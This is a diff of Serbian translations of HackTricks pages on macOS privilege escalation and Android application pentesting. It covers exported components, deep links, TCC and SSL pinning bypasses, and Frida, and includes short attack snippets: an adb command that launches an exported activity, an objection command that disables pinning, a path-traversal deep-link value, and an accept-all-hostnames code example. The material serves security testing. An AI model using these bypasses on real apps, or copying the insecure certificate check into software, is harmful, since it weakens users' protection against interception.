Ove privilegije se obično daju u obliku **entitlements** sa kojima je aplikacija potpisana, ili aplikacija može zatražiti neka pristupanja i nakon što **korisnik odobri** mogu se naći u **TCC bazama podataka**. Drugi način na koji proces može dobiti ove privilegije je da bude **dete procesa** sa tim **privilegijama** jer se obično **nasleđuju**.
|
||||
|
||||
Pratite ove linkove da pronađete različite načine za [**povećanje privilegija u TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), da [**obiđete TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) i kako je u prošlosti [**SIP bio oboren**](macos-security-protections/macos-sip.md#sip-bypasses).
|
||||
Pratite ove linkove da pronađete različite načine za [**escalaciju privilegija u TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), da [**obiđete TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) i kako je u prošlosti [**SIP bio zaobiđen**](macos-security-protections/macos-sip.md#sip-bypasses).
|
||||
|
||||
## macOS Tradicionalno povećanje privilegija
|
||||
## macOS Tradicionalna Eskalacija Privilegija
|
||||
|
||||
Naravno, iz perspektive crvenih timova, trebali biste biti zainteresovani i za povećanje privilegija na root. Proverite sledeći post za neke savete:
|
||||
Naravno, iz perspektive crvenih timova, trebali biste biti zainteresovani i za eskalaciju na root. Proverite sledeći post za neke savete:
|
||||
|
||||
{% content-ref url="macos-privilege-escalation.md" %}
|
||||
[macos-privilege-escalation.md](macos-privilege-escalation.md)
|
||||
|
@ -145,18 +145,18 @@ Naravno, iz perspektive crvenih timova, trebali biste biti zainteresovani i za p
|
|||
* [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)
|
||||
* [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na greške!
|
||||
|
||||
**Hakerski uvidi**\
|
||||
Uključite se u sadržaj koji se bavi uzbuđenjem i izazovima hakovanja
|
||||
**Hakerski Uvidi**\
|
||||
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
|
||||
|
||||
**Vesti o hakovanju u realnom vremenu**\
|
||||
**Vesti o Haku u Realnom Vremenu**\
|
||||
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
|
||||
|
||||
**Najnovija obaveštenja**\
|
||||
Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima platformi
|
||||
**Najnovija Obaveštenja**\
|
||||
Budite informisani o najnovijim nagradama za greške i ključnim ažuriranjima platforme
|
||||
|
||||
**Pridružite nam se na** [**Discordu**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -47,7 +47,7 @@ Pogledajte sledeću listu [**ADB Commands**](adb-commands.md) da biste naučili
|
|||
|
||||
## Smali
|
||||
|
||||
Ponekad je zanimljivo **modifikovati kod aplikacije** kako biste pristupili **skrivenim informacijama** (možda dobro obfuskovanim lozinkama ili zastavicama). Tada bi moglo biti zanimljivo dekompilirati apk, modifikovati kod i ponovo ga kompajlirati.\
|
||||
Ponekad je zanimljivo **modifikovati kod aplikacije** da biste pristupili **skrivenim informacijama** (možda dobro obfuskovanim lozinkama ili zastavicama). Tada bi moglo biti zanimljivo dekompilirati apk, modifikovati kod i ponovo ga kompajlirati.\
|
||||
[**U ovom tutorijalu** možete **naučiti kako dekompilirati APK, modifikovati Smali kod i ponovo kompajlirati APK** sa novom funkcionalnošću](smali-changes.md). Ovo može biti veoma korisno kao **alternativa za nekoliko testova tokom dinamičke analize** koji će biti predstavljeni. Tada, **uvek imajte na umu ovu mogućnost**.
|
||||
|
||||
## Other interesting tricks
|
||||
|
@ -97,7 +97,7 @@ Obratite posebnu pažnju na **firebase URL-ove** i proverite da li je loše konf
|
|||
* **Mrežna sigurnost**: Prilagođene konfiguracije mrežne sigurnosti (`android:networkSecurityConfig="@xml/network_security_config"`) u _res/xml/_ mogu specificirati sigurnosne detalje kao što su pinovi sertifikata i podešavanja HTTP saobraćaja. Primer je omogućavanje HTTP saobraćaja za određene domene.
|
||||
* **Izvezene aktivnosti i servisi**: Identifikacija izvezenih aktivnosti i servisa u manifestu može istaknuti komponente koje bi mogle biti zloupotrebljene. Dalja analiza tokom dinamičkog testiranja može otkriti kako iskoristiti ove komponente.
|
||||
* **Content Providers i FileProviders**: Izloženi content provider-i mogli bi omogućiti neovlašćen pristup ili modifikaciju podataka. Konfiguracija FileProvider-a takođe treba biti pažljivo ispitana.
|
||||
* **Broadcast Receivers i URL sheme**: Ove komponente se mogu iskoristiti za eksploataciju, sa posebnim naglaskom na to kako se URL sheme upravljaju za ranjivosti unosa.
|
||||
* **Broadcast Receiver-i i URL sheme**: Ove komponente se mogu iskoristiti za eksploataciju, sa posebnim naglaskom na to kako se URL sheme upravljaju za ranjivosti unosa.
|
||||
* **SDK verzije**: Atributi `minSdkVersion`, `targetSDKVersion` i `maxSdkVersion` ukazuju na podržane Android verzije, ističući važnost ne podržavanja zastarelih, ranjivih Android verzija iz sigurnosnih razloga.
|
||||
|
||||
Iz **strings.xml** datoteke, osetljive informacije kao što su API ključevi, prilagođene sheme i druge beleške programera mogu se otkriti, naglašavajući potrebu za pažljivim pregledom ovih resursa.
|
||||
|
@ -115,7 +115,7 @@ Pronađite više informacija u:
|
|||
|
||||
### Preuzimanje zadataka
|
||||
|
||||
**Aktivnost** sa **`launchMode`** postavljenim na **`singleTask` bez definisanog `taskAffinity`** je ranjiva na preuzimanje zadataka. To znači da se **aplikacija** može instalirati i ako se pokrene pre stvarne aplikacije, mogla bi **preuzeti zadatak stvarne aplikacije** (tako da će korisnik interagovati sa **malicioznom aplikacijom misleći da koristi pravu**).
|
||||
**aktivnost** sa **`launchMode`** postavljenim na **`singleTask` bez definisanog `taskAffinity`** je ranjiva na preuzimanje zadataka. To znači da se **aplikacija** može instalirati i ako se pokrene pre stvarne aplikacije, mogla bi **preuzeti zadatak stvarne aplikacije** (tako da će korisnik interagovati sa **malicioznom aplikacijom misleći da koristi pravu**).
|
||||
|
||||
Više informacija u:
|
||||
|
||||
|
@ -127,7 +127,7 @@ Više informacija u:
|
|||
|
||||
**Interno skladište**
|
||||
|
||||
U Androidu, datoteke **smeštene** u **interno** skladište su **dizajnirane** da budu **pristupačne** isključivo od strane **aplikacije** koja ih je **napravila**. Ova sigurnosna mera je **sprovedena** od strane Android operativnog sistema i obično je adekvatna za sigurnosne potrebe većine aplikacija. Međutim, programeri ponekad koriste režime kao što su `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` da **omoguće** deljenje datoteka između različitih aplikacija. Ipak, ovi režimi **ne ograničavaju pristup** ovim datotekama od strane drugih aplikacija, uključujući potencijalno maliciozne.
|
||||
U Androidu, datoteke **smeštene** u **interno** skladište su **dizajnirane** da budu **pristupačne** isključivo od strane **aplikacije** koja ih je **napravila**. Ova sigurnosna mera je **propisana** od strane Android operativnog sistema i obično je adekvatna za sigurnosne potrebe većine aplikacija. Međutim, programeri ponekad koriste režime kao što su `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` da **omoguće** deljenje datoteka između različitih aplikacija. Ipak, ovi režimi **ne ograničavaju pristup** ovim datotekama od strane drugih aplikacija, uključujući potencijalno maliciozne.
|
||||
|
||||
1. **Staticka analiza:**
|
||||
* **Osigurajte** da se korišćenje `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` **pažljivo ispita**. Ovi režimi **mogu potencijalno izložiti** datoteke **neprikladnom ili neovlašćenom pristupu**.
|
||||
|
@ -139,14 +139,14 @@ U Androidu, datoteke **smeštene** u **interno** skladište su **dizajnirane** d
|
|||
Kada se radi o datotekama na **eksternom skladištu**, kao što su SD kartice, treba preduzeti određene mere opreza:
|
||||
|
||||
1. **Pristupačnost**:
|
||||
* Datoteke na eksternom skladištu su **globalno čitljive i zapisive**. To znači da bilo koja aplikacija ili korisnik može pristupiti ovim datotekama.
|
||||
* Datoteke na eksternom skladištu su **globalno čitljive i zapisive**. To znači da bilo koja aplikacija ili korisnik može pristupiti tim datotekama.
|
||||
2. **Sigurnosne brige**:
|
||||
* S obzirom na lakoću pristupa, savetuje se **da se ne čuvaju osetljive informacije** na eksternom skladištu.
|
||||
* Eksterno skladište može biti uklonjeno ili dostupno bilo kojoj aplikaciji, što ga čini manje sigurnim.
|
||||
3. **Rukovanje podacima iz eksternog skladišta**:
|
||||
* Uvek **izvršite validaciju unosa** na podacima preuzetim iz eksternog skladišta. Ovo je ključno jer su podaci iz nepouzdanog izvora.
|
||||
* Čuvanje izvršnih ili klasa datoteka na eksternom skladištu za dinamičko učitavanje se snažno ne preporučuje.
|
||||
* Ako vaša aplikacija mora preuzeti izvršne datoteke iz eksternog skladišta, osigurajte da su ove datoteke **potpisane i kriptografski verifikovane** pre nego što se dinamički učitaju. Ovaj korak je vitalan za održavanje sigurnosne integriteta vaše aplikacije.
|
||||
* Ako vaša aplikacija mora preuzeti izvršne datoteke iz eksternog skladišta, osigurajte da su te datoteke **potpisane i kriptografski verifikovane** pre nego što se dinamički učitaju. Ovaj korak je vitalan za održavanje sigurnosne integriteta vaše aplikacije.
|
||||
|
||||
Eksterno skladište može biti **pristupačno** u `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
|
||||
|
@ -163,7 +163,7 @@ Počevši od Android 4.4 (**API 17**), SD kartica ima strukturu direktorijuma ko
|
|||
|
||||
**Prihvati sve sertifikate**
|
||||
|
||||
Iz nekog razloga, ponekad programeri prihvataju sve sertifikate čak i ako, na primer, ime hosta ne odgovara sa linijama koda kao što je sledeća:
|
||||
Iz nekog razloga, ponekad programeri prihvataju sve sertifikate čak i ako, na primer, ime hosta ne odgovara sa linijama koda poput sledeće:
|
||||
```java
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
|
@ -185,7 +185,7 @@ Programeri ne bi trebali koristiti **zastarele algoritme** za obavljanje **prove
|
|||
* Preporučuje se da se **obfuskira APK** kako bi se otežao posao obrnute inženjeringa napadačima.
|
||||
* Ako je aplikacija osetljiva (kao što su bankarske aplikacije), treba da izvrši **svoje provere da vidi da li je mobilni uređaj root-ovan** i da deluje u skladu s tim.
|
||||
* Ako je aplikacija osetljiva (kao što su bankarske aplikacije), treba da proveri da li se koristi **emulator**.
|
||||
* Ako je aplikacija osetljiva (kao što su bankarske aplikacije), treba da **proveri svoju integritet pre izvršavanja** kako bi se uverila da nije modifikovana.
|
||||
* Ako je aplikacija osetljiva (kao što su bankarske aplikacije), treba da **proveri svoju integritet pre izvršavanja** kako bi proverila da li je modifikovana.
|
||||
* Koristite [**APKiD**](https://github.com/rednaga/APKiD) da proverite koji je kompajler/paker/obfuskator korišćen za izradu APK-a.
|
||||
|
||||
### React Native Application
|
||||
|
@ -214,7 +214,7 @@ The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is cap
|
|||
|
||||
With this knowledge, **mariana-trench will review the code and find possible vulnerabilities on it**.
|
||||
|
||||
### Secrets leaked
|
||||
### Tajne otkrivene
|
||||
|
||||
An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
|
||||
|
||||
|
@ -231,7 +231,7 @@ An application may contain secrets (API keys, passwords, hidden urls, subdomains
|
|||
* **Nativne funkcije** deklarisane kao `native`: `public native, System.loadLibrary, System.load`
|
||||
* [Read this to learn **how to reverse native functions**](reversing-native-libraries.md)
|
||||
|
||||
### **Other tricks**
|
||||
### **Ostali trikovi**
|
||||
|
||||
{% content-ref url="content-protocol.md" %}
|
||||
[content-protocol.md](content-protocol.md)
|
||||
|
@ -239,7 +239,7 @@ An application may contain secrets (API keys, passwords, hidden urls, subdomains
|
|||
|
||||
***
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -258,7 +258,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
|
||||
## Dinamička analiza
|
||||
|
||||
> Prvo, potrebna vam je okruženje gde možete instalirati aplikaciju i sve potrebne alate (Burp CA cert, Drozer i Frida uglavnom). Stoga, uređaj koji je root-ovan (emuliran ili ne) je izuzetno preporučen.
|
||||
> Prvo, potrebno je okruženje u kojem možete instalirati aplikaciju i sve potrebne alate (Burp CA cert, Drozer i Frida). Stoga, root-ovan uređaj (emulirani ili ne) je izuzetno preporučen.
|
||||
|
||||
### Online dinamička analiza
|
||||
|
||||
|
@ -281,18 +281,18 @@ Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emu
|
|||
[avd-android-virtual-device.md](avd-android-virtual-device.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Besplatna verzija:** Personal Edition, potrebno je da napravite nalog. _Preporučuje se da **preuzmete** verziju **SA**_ _**VirtualBox** kako biste izbegli potencijalne greške._)
|
||||
* [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Besplatna verzija:** Personal Edition, potrebno je da kreirate nalog. _Preporučuje se da **preuzmete** verziju **SA**_ _**VirtualBox** kako biste izbegli potencijalne greške._)
|
||||
* [**Nox**](https://es.bignox.com) (Besplatno, ali ne podržava Frida ili Drozer).
|
||||
|
||||
{% hint style="info" %}
|
||||
When creating a new emulator on any platform remember that the bigger the screen is, the slower the emulator will run. So select small screens if possible.
|
||||
{% endhint %}
|
||||
|
||||
To **install google services** (like AppStore) in Genymotion you need to click on the red marked button of the following image:
|
||||
To **instalirate google usluge** (kao što je AppStore) u Genymotion potrebno je da kliknete na crveno označeno dugme na sledećoj slici:
|
||||
|
||||
![](<../../.gitbook/assets/image (277).png>)
|
||||
|
||||
Also, notice that in the **configuration of the Android VM in Genymotion** you can select **Bridge Network mode** (this will be useful if you will be connecting to the Android VM from a different VM with the tools).
|
||||
Takođe, primetite da u **konfiguraciji Android VM u Genymotion** možete odabrati **Bridge Network mode** (to će biti korisno ako se povezujete na Android VM iz druge VM sa alatima).
|
||||
|
||||
#### Koristite fizički uređaj
|
||||
|
||||
|
@ -307,34 +307,34 @@ Potrebno je aktivirati **debugging** opcije i bilo bi dobro ako možete **root**
|
|||
> Kada instalirate aplikaciju, prva stvar koju treba da uradite je da je isprobate i istražite šta radi, kako funkcioniše i da se upoznate sa njom.\
|
||||
> Preporučujem da **izvršite ovu inicijalnu dinamičku analizu koristeći MobSF dinamičku analizu + pidcat**, tako da ćemo moći da **naučimo kako aplikacija funkcioniše** dok MobSF **prikuplja** mnogo **zanimljivih** **podataka** koje možete kasnije pregledati.
|
||||
|
||||
### Neprikazano curenje podataka
|
||||
### Neprintentional Data Leakage
|
||||
|
||||
**Logovanje**
|
||||
|
||||
Programeri bi trebali biti oprezni da ne izlažu **informacije za debagovanje** javno, jer to može dovesti do curenja osetljivih podataka. Preporučuju se alati [**pidcat**](https://github.com/JakeWharton/pidcat) i `adb logcat` za praćenje logova aplikacije kako bi se identifikovale i zaštitile osetljive informacije. **Pidcat** je omiljen zbog svoje jednostavnosti korišćenja i čitljivosti.
|
||||
Programeri bi trebali biti oprezni da ne izlažu **debugging informacije** javno, jer to može dovesti do curenja osetljivih podataka. Preporučuju se alati [**pidcat**](https://github.com/JakeWharton/pidcat) i `adb logcat` za praćenje logova aplikacije kako bi se identifikovale i zaštitile osetljive informacije. **Pidcat** je omiljen zbog svoje jednostavnosti korišćenja i čitljivosti.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Note that from **later newer than Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\
|
||||
Anyway, it's still recommended to **not log sensitive information**.
|
||||
{% endhint %}
|
||||
|
||||
**Keširanje Copy/Paste Bufe**
|
||||
**Kopiranje/Lepljenje Bafer Keširanje**
|
||||
|
||||
Androidov **okvir zasnovan na clipboard-u** omogućava funkcionalnost kopiranja i lepljenja u aplikacijama, ali predstavlja rizik jer **druge aplikacije** mogu **pristupiti** clipboard-u, potencijalno izlažući osetljive podatke. Ključno je **onemogućiti copy/paste** funkcije za osetljive delove aplikacije, kao što su podaci o kreditnim karticama, kako bi se sprečilo curenje podataka.
|
||||
Androidov **framework zasnovan na clipboard-u** omogućava funkcionalnost kopiranja i lepljenja u aplikacijama, ali predstavlja rizik jer **druge aplikacije** mogu **pristupiti** clipboard-u, potencijalno izlažući osetljive podatke. Ključno je **onemogućiti funkcije kopiranja/lepljenja** za osetljive delove aplikacije, kao što su podaci o kreditnim karticama, kako bi se sprečilo curenje podataka.
|
||||
|
||||
**Logovi grešaka**
|
||||
|
||||
Ako aplikacija **pukne** i **sačuva logove**, ovi logovi mogu pomoći napadačima, posebno kada aplikaciju nije moguće obrnuti inženjering. Da biste umanjili ovaj rizik, izbegavajte logovanje prilikom grešaka, a ako logovi moraju biti poslati preko mreže, osigurajte da se šalju putem SSL kanala radi sigurnosti.
|
||||
Ako aplikacija **pukne** i **sačuva logove**, ovi logovi mogu pomoći napadačima, posebno kada aplikaciju nije moguće obrnuti inženjirati. Da biste umanjili ovaj rizik, izbegavajte logovanje prilikom grešaka, a ako logovi moraju biti preneseni preko mreže, osigurajte da se šalju putem SSL kanala radi sigurnosti.
|
||||
|
||||
Kao pentester, **pokušajte da pogledate ove logove**.
|
||||
|
||||
**Podaci o analitici poslati trećim stranama**
|
||||
|
||||
Aplikacije često integrišu usluge poput Google Adsense, što može nenamerno **curiti osetljive podatke** zbog nepravilne implementacije od strane programera. Da biste identifikovali potencijalna curenja podataka, preporučuje se da **presretnete saobraćaj aplikacije** i proverite da li se šalju osetljive informacije trećim stranama.
|
||||
Aplikacije često integrišu usluge poput Google Adsense, što može nenamerno **procuriti osetljive podatke** zbog nepravilne implementacije od strane programera. Da biste identifikovali potencijalna curenja podataka, preporučuje se da **presretnete saobraćaj aplikacije** i proverite da li se šalju osetljive informacije trećim stranama.
|
||||
|
||||
### SQLite DBs
|
||||
|
||||
Većina aplikacija će koristiti **internu SQLite bazu podataka** za čuvanje informacija. Tokom pentesta obratite pažnju na **baze podataka** koje su kreirane, imena **tabela** i **kolona** i sve **podatke** koji su sačuvani jer biste mogli pronaći **osetljive informacije** (što bi bila ranjivost).\
|
||||
Većina aplikacija će koristiti **internu SQLite baze podataka** za čuvanje informacija. Tokom pentesta obratite pažnju na **baze podataka** koje su kreirane, imena **tabela** i **kolona** i sve **podatke** sačuvane jer biste mogli pronaći **osetljive informacije** (što bi bila ranjivost).\
|
||||
Baze podataka bi trebale biti locirane u `/data/data/the.package.name/databases` kao `/data/data/com.mwr.example.sieve/databases`.
|
||||
|
||||
Ako baza podataka čuva poverljive informacije i je **šifrovana**, ali možete **pronaći** **lozinku** unutar aplikacije, to je i dalje **ranjivost**.
|
||||
|
@ -353,7 +353,7 @@ Also remember that the code of an activity starts in the **`onCreate`** method.
|
|||
|
||||
**Zaobilaženje autorizacije**
|
||||
|
||||
Kada je aktivnost eksportovana, možete pozvati njen ekran iz spoljne aplikacije. Stoga, ako je aktivnost sa **osetljivim informacijama** **eksportovana**, mogli biste **zaobići** **mehanizme** **autentifikacije** **da biste joj pristupili.**
|
||||
Kada je aktivnost eksportovana, možete pozvati njen ekran iz spoljne aplikacije. Stoga, ako je aktivnost sa **osetljivim informacijama** **eksportovana**, mogli biste **zaobići** mehanizme **autentifikacije** **da biste joj pristupili.**
|
||||
|
||||
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/#activities)
|
||||
|
||||
|
@ -364,7 +364,7 @@ You can also start an exported activity from adb:
|
|||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
**NAPOMENA**: MobSF će detektovati kao malicioznu upotrebu _**singleTask/singleInstance**_ kao `android:launchMode` u aktivnosti, ali zbog [ovoga](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), očigledno je da je ovo opasno samo na starim verzijama (API verzije < 21).
|
||||
**NAPOMENA**: MobSF će detektovati kao zlonameran korišćenje _**singleTask/singleInstance**_ kao `android:launchMode` u aktivnosti, ali zbog [ovoga](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), očigledno je da je ovo opasno samo na starim verzijama (API verzije < 21).
|
||||
|
||||
{% hint style="info" %}
|
||||
Imajte na umu da zaobilaženje autorizacije nije uvek ranjivost, to zavisi od načina na koji zaobilaženje funkcioniše i koje informacije su izložene.
|
||||
|
@ -387,10 +387,10 @@ Content providers se osnovno koriste za **deljenje podataka**. Ako aplikacija im
|
|||
|
||||
### **Eksploatacija Servisa**
|
||||
|
||||
[**Pročitajte ovo ako želite da osvežite šta je Service.**](android-applications-basics.md#services)\
|
||||
[**Pročitajte ovo ako želite da osvežite šta je Servis.**](android-applications-basics.md#services)\
|
||||
Zapamtite da akcije Servisa počinju u metodi `onStartCommand`.
|
||||
|
||||
Servis je osnovno nešto što **može primati podatke**, **obrađivati** ih i **vraćati** (ili ne) odgovor. Dakle, ako aplikacija izlaže neke servise, trebali biste **proveriti** **kod** da biste razumeli šta radi i **testirati** ga **dinamički** za izvlačenje poverljivih informacija, zaobilaženje mera autentifikacije...\
|
||||
Servis je osnovno nešto što **može primati podatke**, **obrađivati** ih i **vraćati** (ili ne) odgovor. Dakle, ako aplikacija izveze neke servise, trebali biste **proveriti** **kod** da biste razumeli šta radi i **testirati** ga **dinamički** za izvlačenje poverljivih informacija, zaobilaženje mera autentifikacije...\
|
||||
[**Saznajte kako da eksploatišete Servise sa Drozer-om.**](drozer-tutorial/#services)
|
||||
|
||||
### **Eksploatacija Broadcast Receivers**
|
||||
|
@ -436,17 +436,17 @@ Svaki put kada pronađete deep link, proverite da **ne prima osetljive podatke (
|
|||
**Parametri u putanji**
|
||||
|
||||
Trebalo bi da **proverite i da li neki deep link koristi parametar unutar putanje** URL-a kao što je: `https://api.example.com/v1/users/{username}`, u tom slučaju možete primorati putanju da pređe na nešto poput: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Imajte na umu da ako pronađete ispravne krajnje tačke unutar aplikacije, možda ćete moći da izazovete **Open Redirect** (ako je deo putanje korišćen kao naziv domena), **preuzimanje naloga** (ako možete da modifikujete podatke o korisnicima bez CSRF tokena i ranjiva krajnja tačka koristi ispravnu metodu) i bilo koju drugu ranjivost. Više [informacija o ovome ovde](http://dphoeniixx.com/2020/12/13-2/).
|
||||
Imajte na umu da ako pronađete ispravne krajnje tačke unutar aplikacije, možda ćete moći da izazovete **Open Redirect** (ako je deo putanje korišćen kao naziv domena), **preuzimanje naloga** (ako možete da modifikujete korisničke podatke bez CSRF tokena i ranjiva krajnja tačka koristi ispravnu metodu) i bilo koju drugu ranjivost. Više [informacija o ovome ovde](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**Još primera**
|
||||
|
||||
Jedan [zanimljiv izveštaj o bug bounty](https://hackerone.com/reports/855618) o linkovima (_/.well-known/assetlinks.json_).
|
||||
|
||||
### Neuspeh inspekcije i verifikacije transportnog sloja
|
||||
### Inspekcija i verifikacija transportnog sloja
|
||||
|
||||
* **Sertifikati se ne proveravaju uvek pravilno** od strane Android aplikacija. Uobičajeno je da ove aplikacije zanemaruju upozorenja i prihvataju samopotpisane sertifikate ili, u nekim slučajevima, vraćaju se na korišćenje HTTP veza.
|
||||
* **Pregovori tokom SSL/TLS rukovanja su ponekad slabi**, koristeći nesigurne kriptografske suite. Ova ranjivost čini vezu podložnom napadima čoveka u sredini (MITM), omogućavajući napadačima da dekriptuju podatke.
|
||||
* **Curjenje privatnih informacija** je rizik kada aplikacije autentifikuju koristeći sigurne kanale, ali zatim komuniciraju preko nesigurnih kanala za druge transakcije. Ovaj pristup ne štiti osetljive podatke, kao što su sesijski kolačići ili podaci o korisnicima, od presretanja od strane zlonamernih entiteta.
|
||||
* **Pregovori tokom SSL/TLS rukovanja su ponekad slabi**, koristeći nesigurne kriptografske suite. Ova ranjivost čini vezu podložnom napadima "čoveka u sredini" (MITM), omogućavajući napadačima da dekriptuju podatke.
|
||||
* **Curjenje privatnih informacija** je rizik kada aplikacije autentifikuju koristeći sigurne kanale, ali zatim komuniciraju preko nesigurnih kanala za druge transakcije. Ovaj pristup ne štiti osetljive podatke, kao što su kolačići sesije ili korisnički podaci, od presretanja od strane zlonamernih entiteta.
|
||||
|
||||
#### Verifikacija sertifikata
|
||||
|
||||
|
@ -458,15 +458,15 @@ SSL Pinning je mera sigurnosti gde aplikacija proverava sertifikat servera u odn
|
|||
|
||||
#### Inspekcija saobraćaja
|
||||
|
||||
Da biste inspekciju HTTP saobraćaja, potrebno je **instalirati sertifikat alata za proxy** (npr. Burp). Bez instalacije ovog sertifikata, kriptovani saobraćaj možda neće biti vidljiv kroz proxy. Za vodič o instalaciji prilagođenog CA sertifikata, [**kliknite ovde**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
Da biste inspekciju HTTP saobraćaja, potrebno je **instalirati sertifikat alata za proxy** (npr. Burp). Bez instalacije ovog sertifikata, šifrovani saobraćaj možda neće biti vidljiv kroz proxy. Za vodič o instalaciji prilagođenog CA sertifikata, [**kliknite ovde**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
Aplikacije koje ciljaju **API nivo 24 i više** zahtevaju izmene u Network Security Config-u kako bi prihvatile CA sertifikat proxy-a. Ovaj korak je ključan za inspekciju kriptovanog saobraćaja. Za uputstva o izmeni Network Security Config-a, [**pogledajte ovaj tutorijal**](make-apk-accept-ca-certificate.md).
|
||||
Aplikacije koje ciljaju **API nivo 24 i više** zahtevaju izmene u konfiguraciji bezbednosti mreže kako bi prihvatile CA sertifikat proxy-a. Ovaj korak je ključan za inspekciju šifrovanog saobraćaja. Za uputstva o izmeni konfiguracije bezbednosti mreže, [**pogledajte ovaj tutorijal**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
#### Obilaženje SSL Pinning-a
|
||||
|
||||
Kada je SSL Pinning implementiran, obilaženje postaje neophodno za inspekciju HTTPS saobraćaja. Različite metode su dostupne za ovu svrhu:
|
||||
|
||||
* Automatski **modifikujte** **apk** da **obidjete** SSLPinning koristeći [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Najveća prednost ove opcije je što vam neće biti potreban root da obidjete SSL Pinning, ali ćete morati da obrišete aplikaciju i ponovo instalirate novu, a to neće uvek funkcionisati.
|
||||
* Automatski **modifikujte** **apk** da **obidjete** SSLPinning koristeći [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Najveća prednost ove opcije je što vam neće biti potrebna root privilegija da obidjete SSL Pinning, ali ćete morati da obrišete aplikaciju i ponovo instalirate novu, a to ne mora uvek da funkcioniše.
|
||||
* Možete koristiti **Frida** (o kojoj se govori u nastavku) da obidjete ovu zaštitu. Ovde imate vodič za korišćenje Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
* Takođe možete pokušati da **automatski obidjete SSL Pinning** koristeći [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
* Takođe možete pokušati da **automatski obidjete SSL Pinning** koristeći **MobSF dinamičku analizu** (objašnjeno u nastavku)
|
||||
|
@ -474,7 +474,7 @@ Kada je SSL Pinning implementiran, obilaženje postaje neophodno za inspekciju H
|
|||
|
||||
#### Traženje uobičajenih web ranjivosti
|
||||
|
||||
Važno je takođe tražiti uobičajene web ranjivosti unutar aplikacije. Detaljne informacije o identifikaciji i ublažavanju ovih ranjivosti su van okvira ovog sažetka, ali su opširno pokrivene drugde.
|
||||
Važno je takođe tražiti uobičajene web ranjivosti unutar aplikacije. Detaljne informacije o identifikaciji i ublažavanju ovih ranjivosti su van okvira ovog sažetka, ali su opširno pokrivene na drugim mestima.
|
||||
|
||||
### Frida
|
||||
|
||||
|
@ -488,7 +488,7 @@ Ako želite da radite pentesting Android aplikacija, morate znati kako koristiti
|
|||
* Možete pronaći neke sjajne Frida skripte ovde: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
* Pokušajte da obidjete mehanizme protiv debagovanja / anti-frida učitavanjem Frida kao što je naznačeno u [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (alat [linjector](https://github.com/erfur/linjector-rs))
|
||||
|
||||
